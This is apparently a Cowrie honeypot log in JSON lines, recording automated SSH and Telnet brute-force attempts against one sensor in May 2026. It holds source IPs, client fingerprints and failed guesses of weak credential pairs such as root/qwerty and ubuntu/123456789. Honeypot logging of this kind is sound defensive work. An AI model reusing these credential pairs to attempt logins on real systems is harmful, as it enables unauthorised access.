{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:25.629318Z","src_ip":"175.107.32.186","session":"eb7340d6aa6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:26.527796Z","src_ip":"175.107.32.186","session":"eb7340d6aa6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:27.747848Z","src_ip":"175.107.32.186","session":"eb7340d6aa6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52378,"dst_ip":"159.203.135.109","dst_port":22,"session":"489186c0d53d","protocol":"ssh","message":"New connection: 45.153.34.114:52378 (159.203.135.109:22) [session: 489186c0d53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:30.383662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:30.389174Z","src_ip":"45.153.34.114","session":"489186c0d53d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:30.479330Z","src_ip":"45.153.34.114","session":"489186c0d53d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:30.872266Z","src_ip":"45.153.34.114","session":"489186c0d53d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:31.965513Z","src_ip":"45.153.34.114","session":"489186c0d53d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":53824,"dst_ip":"159.203.135.109","dst_port":23,"session":"52f3dfc2ad01","protocol":"telnet","message":"New connection: 74.91.213.120:53824 (159.203.135.109:23) [session: 52f3dfc2ad01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:32.515480Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":53834,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7eabdbe0bc6","protocol":"telnet","message":"New connection: 74.91.213.120:53834 (159.203.135.109:23) [session: d7eabdbe0bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:36.652868Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52402,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e563cd5f67a","protocol":"ssh","message":"New connection: 45.153.34.114:52402 (159.203.135.109:22) [session: 3e563cd5f67a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:37.579547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:37.583939Z","src_ip":"45.153.34.114","session":"3e563cd5f67a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:37.667630Z","src_ip":"45.153.34.114","session":"3e563cd5f67a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:37.925880Z","src_ip":"45.153.34.114","session":"3e563cd5f67a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:39.023524Z","src_ip":"45.153.34.114","session":"3e563cd5f67a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":35488,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a26546c37b3","protocol":"telnet","message":"New connection: 74.91.213.120:35488 (159.203.135.109:23) [session: 6a26546c37b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:43.463967Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54330,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6ecd54aa553","protocol":"ssh","message":"New connection: 45.153.34.114:54330 (159.203.135.109:22) [session: b6ecd54aa553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:44.853755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:44.868288Z","src_ip":"45.153.34.114","session":"b6ecd54aa553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:44.946233Z","src_ip":"45.153.34.114","session":"b6ecd54aa553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:45.281917Z","src_ip":"45.153.34.114","session":"b6ecd54aa553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:46.371194Z","src_ip":"45.153.34.114","session":"b6ecd54aa553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.15913224220276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:47.256245Z","src_ip":"74.91.213.120","session":"b54f1a7acf47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":59310,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3939ffb0ce3","protocol":"telnet","message":"New connection: 74.91.213.120:59310 (159.203.135.109:23) [session: d3939ffb0ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:47.413806Z"}
{"eventid":"cowrie.session.closed","duration":31.45110249519348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:48.269206Z","src_ip":"74.91.213.120","session":"19f611fcae1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53562,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fc556ecfcc6","protocol":"ssh","message":"New connection: 45.153.34.114:53562 (159.203.135.109:22) [session: 2fc556ecfcc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:53.068430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:53.074223Z","src_ip":"45.153.34.114","session":"2fc556ecfcc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:53.165724Z","src_ip":"45.153.34.114","session":"2fc556ecfcc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:53.535508Z","src_ip":"45.153.34.114","session":"2fc556ecfcc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:54.621676Z","src_ip":"45.153.34.114","session":"2fc556ecfcc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":51678,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1ac42f6589b","protocol":"ssh","message":"New connection: 45.61.187.220:51678 (159.203.135.109:22) [session: b1ac42f6589b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:56.988240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:56.993800Z","src_ip":"45.61.187.220","session":"b1ac42f6589b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:57.041789Z","src_ip":"45.61.187.220","session":"b1ac42f6589b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"galaxy123","message":"login attempt [root/galaxy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:57.260704Z","src_ip":"45.61.187.220","session":"b1ac42f6589b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:58.313110Z","src_ip":"45.61.187.220","session":"b1ac42f6589b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37102,"dst_ip":"159.203.135.109","dst_port":22,"session":"c24c2692a9c3","protocol":"ssh","message":"New connection: 45.153.34.114:37102 (159.203.135.109:22) [session: c24c2692a9c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:01.289542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:01.296505Z","src_ip":"45.153.34.114","session":"c24c2692a9c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:01.402674Z","src_ip":"45.153.34.114","session":"c24c2692a9c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:01.743031Z","src_ip":"45.153.34.114","session":"c24c2692a9c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:02.839795Z","src_ip":"45.153.34.114","session":"c24c2692a9c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.14231038093567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:03.657640Z","src_ip":"74.91.213.120","session":"52f3dfc2ad01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.151897430419922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:07.804692Z","src_ip":"74.91.213.120","session":"d7eabdbe0bc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":33184,"dst_ip":"159.203.135.109","dst_port":22,"session":"61fe408e4fa7","protocol":"ssh","message":"New connection: 45.153.34.114:33184 (159.203.135.109:22) [session: 61fe408e4fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:09.832050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:09.841889Z","src_ip":"45.153.34.114","session":"61fe408e4fa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:09.924824Z","src_ip":"45.153.34.114","session":"61fe408e4fa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gbase","password":"gbase","message":"login attempt [gbase/gbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:44:10.188368Z","src_ip":"45.153.34.114","session":"61fe408e4fa7","protocol":"ssh"}
